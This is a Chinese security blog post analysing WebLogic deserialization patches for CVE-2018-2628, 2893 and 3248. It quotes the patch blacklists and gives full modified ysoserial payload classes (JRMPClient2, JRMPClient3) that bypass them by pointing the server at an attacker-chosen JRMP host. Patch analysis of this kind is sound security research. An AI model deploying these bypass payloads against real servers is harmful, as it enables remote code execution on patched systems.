CVE-2018-2628
补丁分析
1
2
3
4
5
6
7
8
9
10
11
12
13protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}其出现于
weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream
类,添加了一个resolveProxyClass
方法,只要是数据由java.rmi.registry.Registry
接口传递过来就直接抛出异常,否则再调用其父类resolveProxyClass
进行正常操作思路 $1$
既然只禁了
registry
一个接口,那么一个很显然的思路就是用其他的远程接口,比如使用java.rmi.activation.Activator
或者java.util.Map
只需要修改
ysoserial
中的JRMPClient
模块即可修改前:
修改为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
public Activator getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}思路 $2$
删去
JRMPClient
中的Proxy
部分原因是在
2017-3248
中如果顺利调试的话可以看到readobject
存有两个分支,对于需要反序列化的对象,如果是动态代理则会进入resolveProxyClass
分支,而删去Proxy
后则自然不会进入该分支,即绕过了补丁也就是把
Proxy
部分删去,再做一些改动即可
CVE-2018-2893
补丁分析
1
2
3
4
5
6
7private static final String[]DEFAULT_BLACKLIST_CLASSES = new String[]{
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransactionManager",
"sun.rmi.server.UnicastRef"
};禁掉了
RMI
的UnicastRef
类关于这个漏洞,网上主流的是采用
cve-2016-0638
的streamMessageImpl
加上cve-2018-2628
的JRMPClient
但笔者在找资料时发现了一位佬当时写的文章
这里就不班门弄斧了
CVE-2018-3248
补丁分析
1
2
3
4
5
6
7
8
9
10
11private static final String[] DEFAULT_BLACKLIST_PACKAGES =
{ "org.apache.commons.collections.functors",
"com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist", "java.rmi.activation",
"sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES =
{ "org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject",
"java.rmi.server.RemoteObjectInvocationHandler" };也就是禁止了
1
2
3
4java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject佬告诉我们只需要找到满足以下条件的类即可
- 继承远程类
java.rmi.server.RemoteObject
不在黑名单中
那么有以下类均可
1
2
3
4
5javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
- 继承远程类
原理
这里说一下怎么笨笨的找子类:
先写个
import java.rmi.server.remoteObejctInvocationHandler
跳转到其.java
文件里,然后ctrl+H
看到子类信息然后双击
remoteObject
跳转到其.java
文件中,再ctrl+H
即可看到其所有子类以
RMIConnectionImpl_Stub
为例,右键-图表可以更明显地看出其父类payload
如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42package ysoserial.payloads;
import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
( {
"restriction"
} )
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
return stub;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}
暂时就这么多
weblogic反序列化时在干什么?有没有空?可不可以来找链子?
- 本文链接: http://noone40404.github.io/2023/10/15/weblogic反序列化深入/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!